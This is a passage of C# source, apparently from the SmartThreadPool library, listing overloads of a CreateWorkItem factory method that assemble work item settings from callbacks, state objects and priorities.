| /// 27 | /// The WorkItemsGroup of this workitem 28 | /// Work item group start information 29 | /// A callback to execute 30 | /// The priority of the work item 31 | /// Returns a work item 32 | public static WorkItem CreateWorkItem( 33 | IWorkItemsGroup workItemsGroup, 34 | WIGStartInfo wigStartInfo, 35 | WorkItemCallback callback, 36 | WorkItemPriority workItemPriority) 37 | { 38 | return CreateWorkItem(workItemsGroup, wigStartInfo, callback, null, workItemPriority); 39 | } 40 | 41 | /// 42 | /// Create a new work item 43 | /// 44 | /// The WorkItemsGroup of this workitem 45 | /// Work item group start information 46 | /// Work item info 47 | /// A callback to execute 48 | /// Returns a work item 49 | public static WorkItem CreateWorkItem( 50 | IWorkItemsGroup workItemsGroup, 51 | WIGStartInfo wigStartInfo, 52 | WorkItemInfo workItemInfo, 53 | WorkItemCallback callback) 54 | { 55 | return CreateWorkItem( 56 | workItemsGroup, 57 | wigStartInfo, 58 | workItemInfo, 59 | callback, 60 | null); 61 | } 62 | 63 | /// 64 | /// Create a new work item 65 | /// 66 | /// The WorkItemsGroup of this workitem 67 | /// Work item group start information 68 | /// A callback to execute 69 | /// 70 | /// The context object of the work item. Used for passing arguments to the work item. 71 | /// 72 | /// Returns a work item 73 | public static WorkItem CreateWorkItem( 74 | IWorkItemsGroup workItemsGroup, 75 | WIGStartInfo wigStartInfo, 76 | WorkItemCallback callback, 77 | object state) 78 | { 79 | ValidateCallback(callback); 80 | 81 | WorkItemInfo workItemInfo = new WorkItemInfo(); 82 | workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext; 83 | workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext; 84 | workItemInfo.PostExecuteWorkItemCallback = wigStartInfo.PostExecuteWorkItemCallback; 85 | workItemInfo.CallToPostExecute = wigStartInfo.CallToPostExecute; 86 | workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects; 87 | workItemInfo.WorkItemPriority = wigStartInfo.WorkItemPriority; 88 | 89 | WorkItem workItem = new WorkItem( 90 | workItemsGroup, 91 | workItemInfo, 92 | callback, 93 | state); 94 | return workItem; 95 | } 96 | 97 | /// 98 | /// Create a new work item 99 | /// 100 | /// The work items group 101 | /// Work item group start information 102 | /// A callback to execute 103 | /// 104 | /// The context object of the work item. Used for passing arguments to the work item. 105 | /// 106 | /// The work item priority 107 | /// Returns a work item 108 | public static WorkItem CreateWorkItem( 109 | IWorkItemsGroup workItemsGroup, 110 | WIGStartInfo wigStartInfo, 111 | WorkItemCallback callback, 112 | object state, 113 | WorkItemPriority workItemPriority) 114 | { 115 | ValidateCallback(callback); 116 | 117 | WorkItemInfo workItemInfo = new WorkItemInfo(); 118 | workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext; 119 | workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext; 120 | workItemInfo.PostExecuteWorkItemCallback = wigStartInfo.PostExecuteWorkItemCallback; 121 | workItemInfo.CallToPostExecute = wigStartInfo.CallToPostExecute; 122 | workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects; 123 | workItemInfo.WorkItemPriority = workItemPriority; 124 | 125 | WorkItem workItem = new WorkItem( 126 | workItemsGroup, 127 | workItemInfo, 128 | callback, 129 | state); 130 | 131 | return workItem; 132 | } 133 | 134 | /// 135 | /// Create a new work item 136 | /// 137 | /// The work items group 138 | /// Work item group start information 139 | /// Work item information 140 | /// A callback to execute 141 | /// 142 | /// The context object of the work item. Used for passing arguments to the work item. 143 | /// 144 | /// Returns a work item 145 | public static WorkItem CreateWorkItem( 146 | IWorkItemsGroup workItemsGroup, 147 | WIGStartInfo wigStartInfo, 148 | WorkItemInfo workItemInfo, 149 | WorkItemCallback callback, 150 | object state) 151 | { 152 | ValidateCallback(callback); 153 | ValidateCallback(workItemInfo.PostExecuteWorkItemCallback); 154 | 155 | WorkItem workItem = new WorkItem( 156 | workItemsGroup, 157 | new WorkItemInfo(workItemInfo), 158 | callback, 159 | state); 160 | 161 | return workItem; 162 | } 163 | 164 | /// 165 | /// Create a new work item 166 | /// 167 | /// The work items group 168 | /// Work item group start information 169 | /// A callback to execute 170 | /// 171 | /// The context object of the work item. Used for passing arguments to the work item. 172 | /// 173 | /// 174 | /// A delegate to call after the callback completion 175 | /// 176 | /// Returns a work item 177 | public static WorkItem CreateWorkItem( 178 | IWorkItemsGroup workItemsGroup, 179 | WIGStartInfo wigStartInfo, 180 | WorkItemCallback callback, 181 | object state, 182 | PostExecuteWorkItemCallback postExecuteWorkItemCallback) 183 | { 184 | ValidateCallback(callback); 185 | ValidateCallback(postExecuteWorkItemCallback); 186 | 187 | WorkItemInfo workItemInfo = new WorkItemInfo(); 188 | workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext; 189 | workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext; 190 | workItemInfo.PostExecuteWorkItemCallback = postExecuteWorkItemCallback; 191 | workItemInfo.CallToPostExecute = wigStartInfo.CallToPostExecute; 192 | workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects; 193 | workItemInfo.WorkItemPriority = wigStartInfo.WorkItemPriority; 194 | 195 | WorkItem workItem = new WorkItem( 196 | workItemsGroup, 197 | workItemInfo, 198 | callback, 199 | state); 200 | 201 | return workItem; 202 | } 203 | 204 | /// 205 | /// Create a new work item 206 | /// 207 | /// The work items group 208 | /// Work item group start information 209 | /// A callback to execute 210 | /// 211 | /// The context object of the work item. Used for passing arguments to the work item. 212 | /// 213 | /// 214 | /// A delegate to call after the callback completion 215 | /// 216 | /// The work item priority 217 | /// Returns a work item 218 | public static WorkItem CreateWorkItem( 219 | IWorkItemsGroup workItemsGroup, 220 | WIGStartInfo wigStartInfo, 221 | WorkItemCallback callback, 222 | object state, 223 | PostExecuteWorkItemCallback postExecuteWorkItemCallback, 224 | WorkItemPriority workItemPriority) 225 | { 226 | ValidateCallback(callback); 227 | ValidateCallback(postExecuteWorkItemCallback); 228 | 229 | WorkItemInfo workItemInfo = new WorkItemInfo(); 230 | workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext; 231 | workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext; 232 | workItemInfo.PostExecuteWorkItemCallback = postExecuteWorkItemCallback; 233 | workItemInfo.CallToPostExecute = wigStartInfo.CallToPostExecute; 234 | workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects; 235 | workItemInfo.WorkItemPriority = workItemPriority; 236 | 237 | WorkItem workItem = new WorkItem( 238 | workItemsGroup, 239 | workItemInfo, 240 | callback, 241 | state); 242 | 243 | return workItem; 244 | } 245 | 246 | /// 247 | /// Create a new work item 248 | /// 249 | /// The work items group 250 | /// Work item group start information 251 | /// A callback to execute 252 | /// 253 | /// The context object of the work item. Used for passing arguments to the work item. 254 | /// 255 | /// 256 | /// A delegate to call after the callback completion 257 | /// 258 | /// Indicates on which cases to call to the post execute callback 259 | /// Returns a work item 260 | public static WorkItem CreateWorkItem( 261 | IWorkItemsGroup workItemsGroup, 262 | WIGStartInfo wigStartInfo, 263 | WorkItemCallback callback, 264 | object state, 265 | PostExecuteWorkItemCallback postExecuteWorkItemCallback, 266 | CallToPostExecute callToPostExecute) 267 | { 268 | ValidateCallback(callback); 269 | ValidateCallback(postExecuteWorkItemCallback); 270 | 271 | WorkItemInfo workItemInfo = new WorkItemInfo(); 272 | workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext; 273 | workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext; 274 | workItemInfo.PostExecuteWorkItemCallback = postExecuteWorkItemCallback; 275 | workItemInfo.CallToPostExecute = callToPostExecute; 276 | workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects; 277 | workItemInfo.WorkItemPriority = wigStartInfo.WorkItemPriority; 278 | 279 | WorkItem workItem = new WorkItem( 280 | workItemsGroup, 281 | workItemInfo, 282 | callback, 283 | state); 284 | 285 | return workItem; 286 | } 287 | 288 | /// 289 | /// Create a new work item 290 | /// 291 | /// The work items group 292 | /// Work item group start information 293 | /// A callback to execute 294 | /// 295 | /// The context object of the work item. Used for passing arguments to the work item. 296 | /// 297 | /// 298 | /// A delegate to call after the callback completion 299 | /// 300 | /// Indicates on which cases to call to the post execute callback 301 | /// The work item priority 302 | /// Returns a work item 303 | public static WorkItem CreateWorkItem( 304 | IWorkItemsGroup workItemsGroup, 305 | WIGStartInfo wigStartInfo, 306 | WorkItemCallback callback, 307 | object state, 308 | PostExecuteWorkItemCallback postExecuteWorkItemCallback, 309 | CallToPostExecute callToPostExecute, 310 | WorkItemPriority workItemPriority) 311 | { 312 | 313 | ValidateCallback(callback); 314 | ValidateCallback(postExecuteWorkItemCallback); 315 | 316 | WorkItemInfo workItemInfo = new WorkItemInfo(); 317 | workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext; 318 | workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext; 319 | workItemInfo.PostExecuteWorkItemCallback = postExecuteWorkItemCallback; 320 | workItemInfo.CallToPostExecute = callToPostExecute; 321 | workItemInfo.WorkItemPriority = workItemPriority; 322 | workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects; 323 | 324 | WorkItem workItem = new WorkItem( 325 | workItemsGroup, 326 | workItemInfo, 327 | callback, 328 | state); 329 | 330 | return workItem; 331 | } 332 | 333 | private static void ValidateCallback(Delegate callback) 334 | { 335 | if (callback != null && callback.GetInvocationList().Length > 1) 336 | { 337 | throw new NotSupportedException("SmartThreadPool doesn't support delegates chains"); 338 | } 339 | } 340 | } 341 | 342 | #endregion 343 | } 344 | --------------------------------------------------------------------------------